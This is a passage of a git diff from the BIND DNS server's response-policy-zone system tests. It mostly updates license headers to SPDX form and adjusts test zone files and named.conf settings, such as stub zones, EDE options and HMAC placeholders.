+; file, you can obtain one at https://mozilla.org/MPL/2.0/.
 ;
 ; See the COPYRIGHT file distributed with this work for additional
 ; information regarding copyright ownership.
diff --git a/bin/tests/system/rpz/ns2/blv2.tld2.db.in b/bin/tests/system/rpz/ns2/blv2.tld2.db.in
index 9c41e3ce98..123e1b457f 100644
--- a/bin/tests/system/rpz/ns2/blv2.tld2.db.in
+++ b/bin/tests/system/rpz/ns2/blv2.tld2.db.in
@@ -1,8 +1,10 @@
 ; Copyright (C) Internet Systems Consortium, Inc. ("ISC")
 ;
+; SPDX-License-Identifier: MPL-2.0
+;
 ; This Source Code Form is subject to the terms of the Mozilla Public
-; License, v. 2.0. If a copy of the MPL was not distributed with this
-; file, You can obtain one at http://mozilla.org/MPL/2.0/.
+; License, v. 2.0.  If a copy of the MPL was not distributed with this
+; file, you can obtain one at https://mozilla.org/MPL/2.0/.
 ;
 ; See the COPYRIGHT file distributed with this work for additional
 ; information regarding copyright ownership.
diff --git a/bin/tests/system/rpz/ns2/blv3.tld2.db.in b/bin/tests/system/rpz/ns2/blv3.tld2.db.in
index e61653ec32..b8ba58737a 100644
--- a/bin/tests/system/rpz/ns2/blv3.tld2.db.in
+++ b/bin/tests/system/rpz/ns2/blv3.tld2.db.in
@@ -1,8 +1,10 @@
 ; Copyright (C) Internet Systems Consortium, Inc. ("ISC")
 ;
+; SPDX-License-Identifier: MPL-2.0
+;
 ; This Source Code Form is subject to the terms of the Mozilla Public
-; License, v. 2.0. If a copy of the MPL was not distributed with this
-; file, You can obtain one at http://mozilla.org/MPL/2.0/.
+; License, v. 2.0.  If a copy of the MPL was not distributed with this
+; file, you can obtain one at https://mozilla.org/MPL/2.0/.
 ;
 ; See the COPYRIGHT file distributed with this work for additional
 ; information regarding copyright ownership.
diff --git a/bin/tests/system/rpz/ns2/hints b/bin/tests/system/rpz/ns2/hints
index 28e5850c4f..b657c3980e 100644
--- a/bin/tests/system/rpz/ns2/hints
+++ b/bin/tests/system/rpz/ns2/hints
@@ -1,8 +1,10 @@
 ; Copyright (C) Internet Systems Consortium, Inc. ("ISC")
 ;
+; SPDX-License-Identifier: MPL-2.0
+;
 ; This Source Code Form is subject to the terms of the Mozilla Public
-; License, v. 2.0. If a copy of the MPL was not distributed with this
-; file, You can obtain one at http://mozilla.org/MPL/2.0/.
+; License, v. 2.0.  If a copy of the MPL was not distributed with this
+; file, you can obtain one at https://mozilla.org/MPL/2.0/.
 ;
 ; See the COPYRIGHT file distributed with this work for additional
 ; information regarding copyright ownership.
diff --git a/bin/tests/system/rpz/ns2/named.conf.in b/bin/tests/system/rpz/ns2/named.conf.in
index 8148b8ac25..9b2ab3a81f 100644
--- a/bin/tests/system/rpz/ns2/named.conf.in
+++ b/bin/tests/system/rpz/ns2/named.conf.in
@@ -1,9 +1,11 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
- * License, v. 2.0. If a copy of the MPL was not distributed with this
- * file, You can obtain one at http://mozilla.org/MPL/2.0/.
+ * License, v. 2.0.  If a copy of the MPL was not distributed with this
+ * file, you can obtain one at https://mozilla.org/MPL/2.0/.
  *
  * See the COPYRIGHT file distributed with this work for additional
  * information regarding copyright ownership.
@@ -26,7 +28,7 @@ options {
 
 key rndc_key {
 	secret "1234abcd8765";
-	algorithm hmac-sha256;
+	algorithm @DEFAULT_HMAC@;
 };
 controls {
 	inet 10.53.0.2 port @CONTROLPORT@ allow { any; } keys { rndc_key; };
@@ -47,3 +49,7 @@ zone "tld2s."		    {type primary; file "tld2s.db";};
 
 zone "bl.tld2."		    {type primary; file "bl.tld2.db";
 				notify yes; notify-delay 0;};
+
+# grafted on zones using stub and static-stub
+zone "stub."		    {type primary; file "stub.db"; };
+zone "static-stub."	    {type primary; file "stub.db"; };
diff --git a/bin/tests/system/rpz/ns2/stub.db b/bin/tests/system/rpz/ns2/stub.db
new file mode 100644
index 0000000000..e4b87817e7
--- /dev/null
+++ b/bin/tests/system/rpz/ns2/stub.db
@@ -0,0 +1,20 @@
+; Copyright (C) Internet Systems Consortium, Inc. ("ISC")
+;
+; SPDX-License-Identifier: MPL-2.0
+;
+; This Source Code Form is subject to the terms of the Mozilla Public
+; License, v. 2.0.  If a copy of the MPL was not distributed with this
+; file, you can obtain one at https://mozilla.org/MPL/2.0/.
+;
+; See the COPYRIGHT file distributed with this work for additional
+; information regarding copyright ownership.
+
+; RPZ rewrite responses from this zone
+
+$TTL	120
+@		SOA	tld2.  hostmaster.ns.tld2. ( 1 3600 1200 604800 60 )
+		NS	ns.sub1.tld2.
+
+a3-1		A	10.53.99.99
+
+a4-1		A	10.53.99.99
diff --git a/bin/tests/system/rpz/ns2/tld2.db b/bin/tests/system/rpz/ns2/tld2.db
index a16d196e39..c6f2556db5 100644
--- a/bin/tests/system/rpz/ns2/tld2.db
+++ b/bin/tests/system/rpz/ns2/tld2.db
@@ -1,8 +1,10 @@
 ; Copyright (C) Internet Systems Consortium, Inc. ("ISC")
 ;
+; SPDX-License-Identifier: MPL-2.0
+;
 ; This Source Code Form is subject to the terms of the Mozilla Public
-; License, v. 2.0. If a copy of the MPL was not distributed with this
-; file, You can obtain one at http://mozilla.org/MPL/2.0/.
+; License, v. 2.0.  If a copy of the MPL was not distributed with this
+; file, you can obtain one at https://mozilla.org/MPL/2.0/.
 ;
 ; See the COPYRIGHT file distributed with this work for additional
 ; information regarding copyright ownership.
@@ -118,3 +120,6 @@ a6-2		A	192.168.6.2
 
 a7-1		A	192.168.7.1
 		TXT	"a7-1 tld2 text"
+
+a7-2		A	192.168.7.2
+		TXT	"a7-2 tld2 text"
diff --git a/bin/tests/system/rpz/ns3/base.db b/bin/tests/system/rpz/ns3/base.db
index c71a080aee..f2f15a0268 100644
--- a/bin/tests/system/rpz/ns3/base.db
+++ b/bin/tests/system/rpz/ns3/base.db
@@ -1,8 +1,10 @@
 ; Copyright (C) Internet Systems Consortium, Inc. ("ISC")
 ;
+; SPDX-License-Identifier: MPL-2.0
+;
 ; This Source Code Form is subject to the terms of the Mozilla Public
-; License, v. 2.0. If a copy of the MPL was not distributed with this
-; file, You can obtain one at http://mozilla.org/MPL/2.0/.
+; License, v. 2.0.  If a copy of the MPL was not distributed with this
+; file, you can obtain one at https://mozilla.org/MPL/2.0/.
 ;
 ; See the COPYRIGHT file distributed with this work for additional
 ; information regarding copyright ownership.
diff --git a/bin/tests/system/rpz/ns3/broken.db.in b/bin/tests/system/rpz/ns3/broken.db.in
index 671ed38a7f..80aa3137b1 100644
--- a/bin/tests/system/rpz/ns3/broken.db.in
+++ b/bin/tests/system/rpz/ns3/broken.db.in
@@ -1,8 +1,10 @@
 ; Copyright (C) Internet Systems Consortium, Inc. ("ISC")
 ;
+; SPDX-License-Identifier: MPL-2.0
+;
 ; This Source Code Form is subject to the terms of the Mozilla Public
-; License, v. 2.0. If a copy of the MPL was not distributed with this
-; file, You can obtain one at http://mozilla.org/MPL/2.0/.
+; License, v. 2.0.  If a copy of the MPL was not distributed with this
+; file, you can obtain one at https://mozilla.org/MPL/2.0/.
 ;
 ; See the COPYRIGHT file distributed with this work for additional
 ; information regarding copyright ownership.
diff --git a/bin/tests/system/rpz/ns3/crash1 b/bin/tests/system/rpz/ns3/crash1
index d0862edc97..0c8519137d 100644
--- a/bin/tests/system/rpz/ns3/crash1
+++ b/bin/tests/system/rpz/ns3/crash1
@@ -1,16 +1,13 @@
-; Copyright (C) 2011-2013  Internet Systems Consortium, Inc. ("ISC")
+; Copyright (C) Internet Systems Consortium, Inc. ("ISC")
 ;
-; Permission to use, copy, modify, and/or distribute this software for any
-; purpose with or without fee is hereby granted, provided that the above
-; copyright notice and this permission notice appear in all copies.
+; SPDX-License-Identifier: MPL-2.0
 ;
-; THE SOFTWARE IS PROVIDED "AS IS" AND ISC DISCLAIMS ALL WARRANTIES WITH
-; REGARD TO THIS SOFTWARE INCLUDING ALL IMPLIED WARRANTIES OF MERCHANTABILITY
-; AND FITNESS.  IN NO EVENT SHALL ISC BE LIABLE FOR ANY SPECIAL, DIRECT,
-; INDIRECT, OR CONSEQUENTIAL DAMAGES OR ANY DAMAGES WHATSOEVER RESULTING FROM
-; LOSS OF USE, DATA OR PROFITS, WHETHER IN AN ACTION OF CONTRACT, NEGLIGENCE
-; OR OTHER TORTIOUS ACTION, ARISING OUT OF OR IN CONNECTION WITH THE USE OR
-; PERFORMANCE OF THIS SOFTWARE.
+; This Source Code Form is subject to the terms of the Mozilla Public
+; License, v. 2.0.  If a copy of the MPL was not distributed with this
+; file, you can obtain one at https://mozilla.org/MPL/2.0/.
+;
+; See the COPYRIGHT file distributed with this work for additional
+; information regarding copyright ownership.
 
 
 ; a bad zone that caused a crash related to dns_rdataset_disassociate()
diff --git a/bin/tests/system/rpz/ns3/crash2 b/bin/tests/system/rpz/ns3/crash2
index 25f4fcf6c0..ab702839b5 100644
--- a/bin/tests/system/rpz/ns3/crash2
+++ b/bin/tests/system/rpz/ns3/crash2
@@ -1,16 +1,13 @@
-; Copyright (C) 2011-2013  Internet Systems Consortium, Inc. ("ISC")
+; Copyright (C) Internet Systems Consortium, Inc. ("ISC")
 ;
-; Permission to use, copy, modify, and/or distribute this software for any
-; purpose with or without fee is hereby granted, provided that the above
-; copyright notice and this permission notice appear in all copies.
+; SPDX-License-Identifier: MPL-2.0
 ;
-; THE SOFTWARE IS PROVIDED "AS IS" AND ISC DISCLAIMS ALL WARRANTIES WITH
-; REGARD TO THIS SOFTWARE INCLUDING ALL IMPLIED WARRANTIES OF MERCHANTABILITY
-; AND FITNESS.  IN NO EVENT SHALL ISC BE LIABLE FOR ANY SPECIAL, DIRECT,
-; INDIRECT, OR CONSEQUENTIAL DAMAGES OR ANY DAMAGES WHATSOEVER RESULTING FROM
-; LOSS OF USE, DATA OR PROFITS, WHETHER IN AN ACTION OF CONTRACT, NEGLIGENCE
-; OR OTHER TORTIOUS ACTION, ARISING OUT OF OR IN CONNECTION WITH THE USE OR
-; PERFORMANCE OF THIS SOFTWARE.
+; This Source Code Form is subject to the terms of the Mozilla Public
+; License, v. 2.0.  If a copy of the MPL was not distributed with this
+; file, you can obtain one at https://mozilla.org/MPL/2.0/.
+;
+; See the COPYRIGHT file distributed with this work for additional
+; information regarding copyright ownership.
 
 
 ; a valid zone containing records that caused crashes
diff --git a/bin/tests/system/rpz/ns3/hints b/bin/tests/system/rpz/ns3/hints
index 28e5850c4f..b657c3980e 100644
--- a/bin/tests/system/rpz/ns3/hints
+++ b/bin/tests/system/rpz/ns3/hints
@@ -1,8 +1,10 @@
 ; Copyright (C) Internet Systems Consortium, Inc. ("ISC")
 ;
+; SPDX-License-Identifier: MPL-2.0
+;
 ; This Source Code Form is subject to the terms of the Mozilla Public
-; License, v. 2.0. If a copy of the MPL was not distributed with this
-; file, You can obtain one at http://mozilla.org/MPL/2.0/.
+; License, v. 2.0.  If a copy of the MPL was not distributed with this
+; file, you can obtain one at https://mozilla.org/MPL/2.0/.
 ;
 ; See the COPYRIGHT file distributed with this work for additional
 ; information regarding copyright ownership.
diff --git a/bin/tests/system/rpz/ns3/manual-update-rpz-2.db.in b/bin/tests/system/rpz/ns3/manual-update-rpz-2.db.in
index 5c82651802..f670b0c306 100644
--- a/bin/tests/system/rpz/ns3/manual-update-rpz-2.db.in
+++ b/bin/tests/system/rpz/ns3/manual-update-rpz-2.db.in
@@ -1,8 +1,10 @@
 ; Copyright (C) Internet Systems Consortium, Inc. ("ISC")
 ;
+; SPDX-License-Identifier: MPL-2.0
+;
 ; This Source Code Form is subject to the terms of the Mozilla Public
-; License, v. 2.0. If a copy of the MPL was not distributed with this
-; file, You can obtain one at http://mozilla.org/MPL/2.0/.
+; License, v. 2.0.  If a copy of the MPL was not distributed with this
+; file, you can obtain one at https://mozilla.org/MPL/2.0/.
 ;
 ; See the COPYRIGHT file distributed with this work for additional
 ; information regarding copyright ownership.
diff --git a/bin/tests/system/rpz/ns3/manual-update-rpz.db.in b/bin/tests/system/rpz/ns3/manual-update-rpz.db.in
index 0a15b611db..a823448515 100644
--- a/bin/tests/system/rpz/ns3/manual-update-rpz.db.in
+++ b/bin/tests/system/rpz/ns3/manual-update-rpz.db.in
@@ -1,8 +1,10 @@
 ; Copyright (C) Internet Systems Consortium, Inc. ("ISC")
 ;
+; SPDX-License-Identifier: MPL-2.0
+;
 ; This Source Code Form is subject to the terms of the Mozilla Public
-; License, v. 2.0. If a copy of the MPL was not distributed with this
-; file, You can obtain one at http://mozilla.org/MPL/2.0/.
+; License, v. 2.0.  If a copy of the MPL was not distributed with this
+; file, you can obtain one at https://mozilla.org/MPL/2.0/.
 ;
 ; See the COPYRIGHT file distributed with this work for additional
 ; information regarding copyright ownership.
diff --git a/bin/tests/system/rpz/ns3/mixed-case-rpz-1.db.in b/bin/tests/system/rpz/ns3/mixed-case-rpz-1.db.in
index 5748942fac..c8548fce61 100644
--- a/bin/tests/system/rpz/ns3/mixed-case-rpz-1.db.in
+++ b/bin/tests/system/rpz/ns3/mixed-case-rpz-1.db.in
@@ -1,8 +1,10 @@
 ; Copyright (C) Internet Systems Consortium, Inc. ("ISC")
 ;
+; SPDX-License-Identifier: MPL-2.0
+;
 ; This Source Code Form is subject to the terms of the Mozilla Public
-; License, v. 2.0. If a copy of the MPL was not distributed with this
-; file, You can obtain one at http://mozilla.org/MPL/2.0/.
+; License, v. 2.0.  If a copy of the MPL was not distributed with this
+; file, you can obtain one at https://mozilla.org/MPL/2.0/.
 ;
 ; See the COPYRIGHT file distributed with this work for additional
 ; information regarding copyright ownership.
diff --git a/bin/tests/system/rpz/ns3/mixed-case-rpz-2.db.in b/bin/tests/system/rpz/ns3/mixed-case-rpz-2.db.in
index 6588135e68..7d99c5afce 100644
--- a/bin/tests/system/rpz/ns3/mixed-case-rpz-2.db.in
+++ b/bin/tests/system/rpz/ns3/mixed-case-rpz-2.db.in
@@ -1,8 +1,10 @@
 ; Copyright (C) Internet Systems Consortium, Inc. ("ISC")
 ;
+; SPDX-License-Identifier: MPL-2.0
+;
 ; This Source Code Form is subject to the terms of the Mozilla Public
-; License, v. 2.0. If a copy of the MPL was not distributed with this
-; file, You can obtain one at http://mozilla.org/MPL/2.0/.
+; License, v. 2.0.  If a copy of the MPL was not distributed with this
+; file, you can obtain one at https://mozilla.org/MPL/2.0/.
 ;
 ; See the COPYRIGHT file distributed with this work for additional
 ; information regarding copyright ownership.
diff --git a/bin/tests/system/rpz/ns3/named.conf.in b/bin/tests/system/rpz/ns3/named.conf.in
index 9ee92483b0..80a9d832f0 100644
--- a/bin/tests/system/rpz/ns3/named.conf.in
+++ b/bin/tests/system/rpz/ns3/named.conf.in
@@ -1,15 +1,16 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
- * License, v. 2.0. If a copy of the MPL was not distributed with this
- * file, You can obtain one at http://mozilla.org/MPL/2.0/.
+ * License, v. 2.0.  If a copy of the MPL was not distributed with this
+ * file, you can obtain one at https://mozilla.org/MPL/2.0/.
  *
  * See the COPYRIGHT file distributed with this work for additional
  * information regarding copyright ownership.
  */
 
-
 /*
  * Main rpz test DNS server.
  */
@@ -47,7 +48,7 @@ options {
 	    zone "bl-drop"	policy drop;
 	    zone "bl-tcp-only"	policy tcp-only;
 	    zone "bl.tld2";
-	    zone "manual-update-rpz";
+	    zone "manual-update-rpz"	ede forged;
 	    zone "mixed-case-rpz";
 	}
 	add-soa yes
@@ -67,7 +68,7 @@ logging { category rpz { default_debug; }; };
 
 key rndc_key {
 	secret "1234abcd8765";
-	algorithm hmac-sha256;
+	algorithm @DEFAULT_HMAC@;
 };
 controls {
 	inet 10.53.0.3 port @CONTROLPORT@ allow { any; } keys { rndc_key; };
@@ -127,3 +128,33 @@ zone "fast-expire." {
 	primaries { 10.53.0.5; };
 	notify no;
 };
+
+zone "stub." {
+	type stub;
+	primaries { 10.53.0.2; };
+};
+
+zone "static-stub." {
+	type static-stub;
+	server-addresses { 10.53.0.2; };
+};
+
+zone "stub-nomatch." {
+	type stub;
+	primaries { 10.53.0.10; };
+};
+
+zone "static-stub-nomatch." {
+	type static-stub;
+	server-addresses { 10.53.0.10; };
+};
+
+# A faulty dlz configuration to check if named with response policy zones
+# survives a certain class of failed configuration attempts (see GL #3880).
+# "dlz" is used because the dlz processing code is located in an ideal place in
+# the view configuration function for the test to cover the view reverting code.
+# The "BAD" comments below are necessary, because they will be removed using
+# 'sed' by tests.sh in order to activate the faulty configuration.
+#BAD	dlz "bad-dlz" {
+#BAD		database "dlopen bad-dlz.so example.org";
+#BAD	};
diff --git a/bin/tests/system/rpz/ns4/hints b/bin/tests/system/rpz/ns4/hints
index 28e5850c4f..b657c3980e 100644
--- a/bin/tests/system/rpz/ns4/hints
+++ b/bin/tests/system/rpz/ns4/hints
@@ -1,8 +1,10 @@
 ; Copyright (C) Internet Systems Consortium, Inc. ("ISC")
 ;
+; SPDX-License-Identifier: MPL-2.0
+;
 ; This Source Code Form is subject to the terms of the Mozilla Public
-; License, v. 2.0. If a copy of the MPL was not distributed with this
-; file, You can obtain one at http://mozilla.org/MPL/2.0/.
+; License, v. 2.0.  If a copy of the MPL was not distributed with this
+; file, you can obtain one at https://mozilla.org/MPL/2.0/.
 ;
 ; See the COPYRIGHT file distributed with this work for additional
 ; information regarding copyright ownership.
diff --git a/bin/tests/system/rpz/ns4/named.conf.in b/bin/tests/system/rpz/ns4/named.conf.in
index 62cac72ba0..909f1c63aa 100644
--- a/bin/tests/system/rpz/ns4/named.conf.in
+++ b/bin/tests/system/rpz/ns4/named.conf.in
@@ -1,9 +1,11 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
- * License, v. 2.0. If a copy of the MPL was not distributed with this
- * file, You can obtain one at http://mozilla.org/MPL/2.0/.
+ * License, v. 2.0.  If a copy of the MPL was not distributed with this
+ * file, you can obtain one at https://mozilla.org/MPL/2.0/.
  *
  * See the COPYRIGHT file distributed with this work for additional
  * information regarding copyright ownership.
@@ -26,7 +28,7 @@ options {
 
 key rndc_key {
 	secret "1234abcd8765";
-	algorithm hmac-sha256;
+	algorithm @DEFAULT_HMAC@;
 };
 
 controls {
diff --git a/bin/tests/system/rpz/ns4/tld4.db b/bin/tests/system/rpz/ns4/tld4.db
index a16481823d..fca419c6dd 100644
--- a/bin/tests/system/rpz/ns4/tld4.db
+++ b/bin/tests/system/rpz/ns4/tld4.db
@@ -1,8 +1,10 @@
 ; Copyright (C) Internet Systems Consortium, Inc. ("ISC")
 ;
+; SPDX-License-Identifier: MPL-2.0
+;
 ; This Source Code Form is subject to the terms of the Mozilla Public
-; License, v. 2.0. If a copy of the MPL was not distributed with this
-; file, You can obtain one at http://mozilla.org/MPL/2.0/.
+; License, v. 2.0.  If a copy of the MPL was not distributed with this
+; file, you can obtain one at https://mozilla.org/MPL/2.0/.
 ;
 ; See the COPYRIGHT file distributed with this work for additional
 ; information regarding copyright ownership.
diff --git a/bin/tests/system/rpz/ns5/empty.db.in b/bin/tests/system/rpz/ns5/empty.db.in
index 7edcc17705..a7e9144b6a 100644
--- a/bin/tests/system/rpz/ns5/empty.db.in
+++ b/bin/tests/system/rpz/ns5/empty.db.in
@@ -1,8 +1,10 @@
 ; Copyright (C) Internet Systems Consortium, Inc. ("ISC")
 ;
+; SPDX-License-Identifier: MPL-2.0
+;
 ; This Source Code Form is subject to the terms of the Mozilla Public
-; License, v. 2.0. If a copy of the MPL was not distributed with this
-; file, You can obtain one at http://mozilla.org/MPL/2.0/.
+; License, v. 2.0.  If a copy of the MPL was not distributed with this
+; file, you can obtain one at https://mozilla.org/MPL/2.0/.
 ;
 ; See the COPYRIGHT file distributed with this work for additional
 ; information regarding copyright ownership.
diff --git a/bin/tests/system/rpz/ns5/expire.conf.in b/bin/tests/system/rpz/ns5/expire.conf.in
index f0a1b3c68e..4c1c228e55 100644
--- a/bin/tests/system/rpz/ns5/expire.conf.in
+++ b/bin/tests/system/rpz/ns5/expire.conf.in
@@ -1,9 +1,11 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
- * License, v. 2.0. If a copy of the MPL was not distributed with this
- * file, You can obtain one at http://mozilla.org/MPL/2.0/.
+ * License, v. 2.0.  If a copy of the MPL was not distributed with this
+ * file, you can obtain one at https://mozilla.org/MPL/2.0/.
  *
  * See the COPYRIGHT file distributed with this work for additional
  * information regarding copyright ownership.
diff --git a/bin/tests/system/rpz/ns5/fast-expire.db.in b/bin/tests/system/rpz/ns5/fast-expire.db.in
index d9afbde5d5..cb2672e853 100644
--- a/bin/tests/system/rpz/ns5/fast-expire.db.in
+++ b/bin/tests/system/rpz/ns5/fast-expire.db.in
@@ -1,8 +1,10 @@
 ; Copyright (C) Internet Systems Consortium, Inc. ("ISC")
 ;
+; SPDX-License-Identifier: MPL-2.0
+;
 ; This Source Code Form is subject to the terms of the Mozilla Public
-; License, v. 2.0. If a copy of the MPL was not distributed with this
-; file, You can obtain one at http://mozilla.org/MPL/2.0/.
+; License, v. 2.0.  If a copy of the MPL was not distributed with this
+; file, you can obtain one at https://mozilla.org/MPL/2.0/.
 ;
 ; See the COPYRIGHT file distributed with this work for additional
 ; information regarding copyright ownership.
diff --git a/bin/tests/system/rpz/ns5/hints b/bin/tests/system/rpz/ns5/hints
index 28e5850c4f..b657c3980e 100644
--- a/bin/tests/system/rpz/ns5/hints
+++ b/bin/tests/system/rpz/ns5/hints
@@ -1,8 +1,10 @@
 ; Copyright (C) Internet Systems Consortium, Inc. ("ISC")
 ;
+; SPDX-License-Identifier: MPL-2.0
+;
 ; This Source Code Form is subject to the terms of the Mozilla Public
-; License, v. 2.0. If a copy of the MPL was not distributed with this
-; file, You can obtain one at http://mozilla.org/MPL/2.0/.
+; License, v. 2.0.  If a copy of the MPL was not distributed with this
+; file, you can obtain one at https://mozilla.org/MPL/2.0/.
 ;
 ; See the COPYRIGHT file distributed with this work for additional
 ; information regarding copyright ownership.
diff --git a/bin/tests/system/rpz/ns5/named.conf.in b/bin/tests/system/rpz/ns5/named.conf.in
index a72dc14fe8..58b591b70d 100644
--- a/bin/tests/system/rpz/ns5/named.conf.in
+++ b/bin/tests/system/rpz/ns5/named.conf.in
@@ -1,15 +1,16 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
- * License, v. 2.0. If a copy of the MPL was not distributed with this
- * file, You can obtain one at http://mozilla.org/MPL/2.0/.
+ * License, v. 2.0.  If a copy of the MPL was not distributed with this
+ * file, you can obtain one at https://mozilla.org/MPL/2.0/.
  *
  * See the COPYRIGHT file distributed with this work for additional
  * information regarding copyright ownership.
  */
 
-
 /*
  * Test rpz performance.
  */
@@ -34,12 +35,12 @@ options {
 	# turn rpz on or off
 	include "rpz-switch";
 
-	include "../dnsrps-slave.conf";
+	include "../dnsrps.conf";
 };
 
 key rndc_key {
 	secret "1234abcd8765";
-	algorithm hmac-sha256;
+	algorithm @DEFAULT_HMAC@;
 };
 controls {
 	inet 10.53.0.5 port @CONTROLPORT@ allow { any; } keys { rndc_key; };
diff --git a/bin/tests/system/rpz/ns5/tld5.db b/bin/tests/system/rpz/ns5/tld5.db
index 85edd75751..b75e72f66b 100644
--- a/bin/tests/system/rpz/ns5/tld5.db
+++ b/bin/tests/system/rpz/ns5/tld5.db
@@ -1,14 +1,14 @@
 ; Copyright (C) Internet Systems Consortium, Inc. ("ISC")
 ;
+; SPDX-License-Identifier: MPL-2.0
+;
 ; This Source Code Form is subject to the terms of the Mozilla Public
-; License, v. 2.0. If a copy of the MPL was not distributed with this
-; file, You can obtain one at http://mozilla.org/MPL/2.0/.
+; License, v. 2.0.  If a copy of the MPL was not distributed with this
+; file, you can obtain one at https://mozilla.org/MPL/2.0/.
 ;
 ; See the COPYRIGHT file distributed with this work for additional
 ; information regarding copyright ownership.
 
-
-
 ; RPZ performance test
 
 $TTL	120
diff --git a/bin/tests/system/rpz/ns6/bl.tld2s.db.in b/bin/tests/system/rpz/ns6/bl.tld2s.db.in
new file mode 100644
index 0000000000..45380504b4
--- /dev/null
+++ b/bin/tests/system/rpz/ns6/bl.tld2s.db.in
@@ -0,0 +1,20 @@
+; Copyright (C) Internet Systems Consortium, Inc. ("ISC")
+;
+; SPDX-License-Identifier: MPL-2.0
+;
+; This Source Code Form is subject to the terms of the Mozilla Public
+; License, v. 2.0.  If a copy of the MPL was not distributed with this
+; file, you can obtain one at https://mozilla.org/MPL/2.0/.
+;
+; See the COPYRIGHT file distributed with this work for additional
+; information regarding copyright ownership.
+
+$TTL	3600
+@		SOA	rpz.tld2.  hostmaster.ns.tld2. ( 3 3600 1200 604800 60 )
+		NS	ns2
+		NS	ns3
+ns2		A	10.53.0.2
+ns3		A	10.53.0.3
+
+32.2.7.168.192.rpz-ip	 A 1.1.1.1
+                        AAAA ::1
diff --git a/bin/tests/system/rpz/ns6/hints b/bin/tests/system/rpz/ns6/hints
index 28e5850c4f..b657c3980e 100644
--- a/bin/tests/system/rpz/ns6/hints
+++ b/bin/tests/system/rpz/ns6/hints
@@ -1,8 +1,10 @@
 ; Copyright (C) Internet Systems Consortium, Inc. ("ISC")
 ;
+; SPDX-License-Identifier: MPL-2.0
+;
 ; This Source Code Form is subject to the terms of the Mozilla Public
-; License, v. 2.0. If a copy of the MPL was not distributed with this
-; file, You can obtain one at http://mozilla.org/MPL/2.0/.
+; License, v. 2.0.  If a copy of the MPL was not distributed with this
+; file, you can obtain one at https://mozilla.org/MPL/2.0/.
 ;
 ; See the COPYRIGHT file distributed with this work for additional
 ; information regarding copyright ownership.
diff --git a/bin/tests/system/rpz/ns6/named.conf.in b/bin/tests/system/rpz/ns6/named.conf.in
index e036480bf9..5c4b77437f 100644
--- a/bin/tests/system/rpz/ns6/named.conf.in
+++ b/bin/tests/system/rpz/ns6/named.conf.in
@@ -1,9 +1,11 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
- * License, v. 2.0. If a copy of the MPL was not distributed with this
- * file, You can obtain one at http://mozilla.org/MPL/2.0/.
+ * License, v. 2.0.  If a copy of the MPL was not distributed with this
+ * file, you can obtain one at https://mozilla.org/MPL/2.0/.
  *
  * See the COPYRIGHT file distributed with this work for additional
  * information regarding copyright ownership.
@@ -28,19 +30,20 @@ options {
 
 	response-policy {
 	    zone "policy1" min-update-interval 0;
+	    zone "bl.tld2s" policy given;
 	} qname-wait-recurse yes
 	// add-soa yes # leave add-soa as default for unset test
 	nsip-enable yes
 	nsdname-enable yes;
 
-	include "../dnsrps-slave.conf";
+	include "../dnsrps.conf";
 };
 
 logging { category rpz { default_debug; }; };
 
 key rndc_key {
 	secret "1234abcd8765";
-	algorithm hmac-sha256;
+	algorithm @DEFAULT_HMAC@;
 };
 
 controls {
@@ -55,5 +58,10 @@ zone "policy1" {
 	file "empty.db";
 	also-notify { 10.53.0.3 port @EXTRAPORT1@; };
 	notify-delay 0;
-	allow-transfer  { any; };
+	allow-transfer	{ any; };
+};
+
+zone "bl.tld2s." {
+    type primary;
+    file "bl.tld2s.db";
 };
diff --git a/bin/tests/system/rpz/ns7/hints b/bin/tests/system/rpz/ns7/hints
index 28e5850c4f..b657c3980e 100644
--- a/bin/tests/system/rpz/ns7/hints
+++ b/bin/tests/system/rpz/ns7/hints
@@ -1,8 +1,10 @@
 ; Copyright (C) Internet Systems Consortium, Inc. ("ISC")
 ;
+; SPDX-License-Identifier: MPL-2.0
+;
 ; This Source Code Form is subject to the terms of the Mozilla Public
-; License, v. 2.0. If a copy of the MPL was not distributed with this
-; file, You can obtain one at http://mozilla.org/MPL/2.0/.
+; License, v. 2.0.  If a copy of the MPL was not distributed with this
+; file, you can obtain one at https://mozilla.org/MPL/2.0/.
 ;
 ; See the COPYRIGHT file distributed with this work for additional
 ; information regarding copyright ownership.
diff --git a/bin/tests/system/rpz/ns7/named.conf.in b/bin/tests/system/rpz/ns7/named.conf.in
index 8fa0951012..3aed1a2bb1 100644
--- a/bin/tests/system/rpz/ns7/named.conf.in
+++ b/bin/tests/system/rpz/ns7/named.conf.in
@@ -1,9 +1,11 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
- * License, v. 2.0. If a copy of the MPL was not distributed with this
- * file, You can obtain one at http://mozilla.org/MPL/2.0/.
+ * License, v. 2.0.  If a copy of the MPL was not distributed with this
+ * file, you can obtain one at https://mozilla.org/MPL/2.0/.
  *
  * See the COPYRIGHT file distributed with this work for additional
  * information regarding copyright ownership.
@@ -24,20 +26,20 @@ options {
 	dnssec-validation yes;
 
 	response-policy {
-	    zone "policy2" add-soa no;
+	    zone "policy2" add-soa no ede none;
 	} qname-wait-recurse no
 	nsip-enable yes
 	nsdname-enable yes
 	min-update-interval 0;
 
-	include "../dnsrps-slave.conf";
+	include "../dnsrps.conf";
 };
 
 logging { category rpz { default_debug; }; };
 
 key rndc_key {
 	secret "1234abcd8765";
-	algorithm hmac-sha256;
+	algorithm @DEFAULT_HMAC@;
 };
 
 controls {
